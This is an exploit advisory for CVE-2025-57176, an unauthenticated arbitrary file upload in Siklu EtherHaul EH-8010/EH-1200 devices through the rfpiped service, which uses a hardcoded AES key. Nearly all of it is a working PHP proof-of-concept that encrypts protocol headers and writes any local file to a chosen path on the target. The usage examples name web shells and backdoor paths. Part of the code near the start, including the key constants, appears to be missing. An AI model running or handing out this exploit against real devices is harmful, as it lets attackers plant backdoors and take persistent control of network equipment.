============================================================================================================================================= | # Title : Siklu EtherHaul Series EH-8010 / EH-1200 Unauthenticated Arbitrary File Upload via Encrypted rfpiped Service | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://www.ceragon.com/products/siklu-by-ceragon | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/214067/ & CVE-2025-57176 [+] Summary : A critical vulnerability exists in Siklu EtherHaul EH-8010 and EH-1200 devices running firmware versions 7.4.0 through 10.7.3. The rfpiped service exposed on TCP port 555 uses hardcoded AES-256-CBC encryption parameters (static key and IV) and lacks any authentication mechanism. An unauthenticated remote attacker can craft encrypted protocol messages to upload arbitrary files to attacker-controlled paths on the device. Successful exploitation may lead to persistent compromise, firmware manipulation, or subsequent remote code execution. The issue is tracked as CVE-2025-57176 and affects network-accessible devices without additional access controls. [+] POC: php poc.php --target 192.168.1.1 --path "/tmp/backdoor" --file shell.txt --recv key = $key; $this->send_iv = $iv0; $this->recv_iv = $iv0; } private function pad16_zero(string $data): string { $len = strlen($data); $remainder = $len & 0x0F; return ($remainder === 0) ? $data : $data . str_repeat("\x00", 16 - $remainder); } private function recv_exact($socket, int $n): string { $buffer = ''; $bytesRead = 0; while ($bytesRead < $n) { $chunk = socket_read($socket, $n - $bytesRead, PHP_BINARY_READ); if ($chunk === false || $chunk === '') { throw new Exception('Socket connection closed unexpectedly'); } $buffer .= $chunk; $bytesRead += strlen($chunk); } return $buffer; } public function enc_send($socket, string $data): void { $paddedData = $this->pad16_zero($data); $ciphertext = openssl_encrypt( $paddedData, 'AES-256-CBC', $this->key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $this->send_iv ); if ($ciphertext === false) { throw new Exception('Encryption failed'); } $this->send_iv = substr($ciphertext, -16); $written = socket_write($socket, $ciphertext, strlen($ciphertext)); if ($written === false) { throw new Exception('Failed to write to socket'); } } public function dec_recv($socket, int $n_plain): string { if ($n_plain <= 0) { return ''; } $n_padded = ($n_plain + 15) & ~15; $ciphertext = $this->recv_exact($socket, $n_padded); $plaintext = openssl_decrypt( $ciphertext, 'AES-256-CBC', $this->key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $this->recv_iv ); if ($plaintext === false) { throw new Exception('Decryption failed'); } $this->recv_iv = substr($ciphertext, -16); return substr($plaintext, 0, $n_plain); } public function send_header($socket, string $hdr): void { if (strlen($hdr) !== HDR_LEN) { throw new Exception(sprintf('Header must be exactly 0x%x bytes, got 0x%x', HDR_LEN, strlen($hdr))); } $this->enc_send($socket, $hdr); } public function recv_header($socket): string { $ciphertext = $this->recv_exact($socket, HDR_LEN); $plaintext = openssl_decrypt( $ciphertext, 'AES-256-CBC', $this->key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $this->recv_iv ); if ($plaintext === false) { throw new Exception('Header decryption failed'); } $this->recv_iv = substr($ciphertext, -16); return $plaintext; } } function hdr_checksum(string $hdr): int { $sum = 0; for ($i = 0; $i < 0x0C; $i++) { $sum += ord($hdr[$i]); } for ($i = 0x10; $i < HDR_LEN; $i++) { $sum += ord($hdr[$i]); } return $sum & 0xFFFFFFFF; } function build_header(int $flag, int $msg, int $payload_len, string $path): string { $hdr = str_repeat("\x00", HDR_LEN); $hdr[0] = chr($flag & 0xFF); $hdr[1] = chr($msg & 0xFF); $packed_len = pack('V', $payload_len); for ($i = 0; $i < 4; $i++) { $hdr[0x08 + $i] = $packed_len[$i]; } if (!str_ends_with($path, "\x00")) { $path .= "\x00"; } $max_path_len = HDR_LEN - 0x10; $path_len = min(strlen($path), $max_path_len); for ($i = 0; $i < $path_len; $i++) { $hdr[0x10 + $i] = $path[$i]; } $checksum = hdr_checksum($hdr); $packed_checksum = pack('V', $checksum); for ($i = 0; $i < 4; $i++) { $hdr[0x0C + $i] = $packed_checksum[$i]; } return $hdr; } function connect_any(string $host, int $port) { $socket = false; $last_error = ''; $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket !== false) { socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, ['sec' => 10, 'usec' => 0]); socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, ['sec' => 10, 'usec' => 0]); if (@socket_connect($socket, $host, $port)) { return $socket; } $last_error = socket_strerror(socket_last_error($socket)); socket_close($socket); } $socket = @socket_create(AF_INET6, SOCK_STREAM, SOL_TCP); if ($socket !== false) { socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, ['sec' => 10, 'usec' => 0]); socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, ['sec' => 10, 'usec' => 0]); if (@socket_connect($socket, $host, $port)) { return $socket; } $last_error = socket_strerror(socket_last_error($socket)); socket_close($socket); } throw new Exception("Failed to connect to $host:$port - $last_error"); } function print_usage(): void { $script_name = basename(__FILE__); echo << --path --file [--recv] Options: --target Target IP address --path Remote path (e.g., "/tmp/payload") --file Local file to upload --recv Receive and display server response --help Show this help message Example: php $script_name --target 192.168.1.100 --path "/tmp/test" --file shell.php --recv EOF; } function main(): void { $options = getopt('', ['target:', 'path:', 'file:', 'recv', 'help']); if (isset($options['help'])) { print_usage(); exit(0); } if (!isset($options['target'], $options['path'], $options['file'])) { echo "Error: Missing required arguments\n\n"; print_usage(); exit(1); } $target = $options['target']; $path = $options['path']; $file = $options['file']; $receive_response = isset($options['recv']); if (!file_exists($file) || !is_readable($file)) { echo "Error: Cannot read file '$file'\n"; exit(1); } $payload = file_get_contents($file); if ($payload === false) { echo "Error: Failed to read file '$file'\n"; exit(1); } echo "[*] Target: $target\n"; echo "[*] Remote path: $path\n"; echo "[*] Local file: $file (" . strlen($payload) . " bytes)\n"; try { $header = build_header(0x00, 0x04, strlen($payload), $path); $session = new RFPipeSession(KEY, IV0); echo "[*] Connecting to $target:" . PORT . "...\n"; $socket = connect_any($target, PORT); echo "[+] Connected successfully\n"; echo "[*] Sending header...\n"; $session->send_header($socket, $header); if (strlen($payload) > 0) { echo "[*] Sending payload (" . strlen($payload) . " bytes)...\n"; $session->enc_send($socket, $payload); } echo "[+] File upload initiated\n"; if ($receive_response) { echo "[*] Waiting for server response...\n"; try { $response_header = $session->recv_header($socket); $flag = ord($response_header[0]); $msg = ord($response_header[1]); $payload_len = unpack('V', substr($response_header, 0x08, 4))[1]; echo sprintf("[+] Response header: flag=0x%02x, msg=0x%02x, length=%d\n", $flag, $msg, $payload_len); if ($payload_len > 0) { $response_body = $session->dec_recv($socket, $payload_len); // Remove null terminator if present if (str_ends_with($response_body, "\x00")) { $response_body = substr($response_body, 0, -1); } echo "[+] Response body:\n"; echo "----------------------------------------\n"; // Try to display as text, otherwise show hex if (preg_match('/^[\x20-\x7E\x0A\x0D\x09]*$/', $response_body)) { echo $response_body . "\n"; } else { echo bin2hex($response_body) . "\n"; } echo "----------------------------------------\n"; } } catch (Exception $e) { echo "[-] Failed to receive response: " . $e->getMessage() . "\n"; } } socket_close($socket); echo "[*] Connection closed\n"; } catch (Exception $e) { echo "[-] Error: " . $e->getMessage() . "\n"; if (isset($socket) && is_resource($socket)) { socket_close($socket); } exit(1); } echo "[+] Exploit completed\n"; } // Check if running from CLI if (php_sapi_name() === 'cli') { // Enable error reporting for debugging error_reporting(E_ALL); ini_set('display_errors', '1'); if (!extension_loaded('openssl')) { echo "Error: OpenSSL extension is required\n"; exit(1); } if (!extension_loaded('sockets')) { echo "Error: Sockets extension is required\n"; exit(1); } main(); } else { echo "This script must be run from the command line.\n"; } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================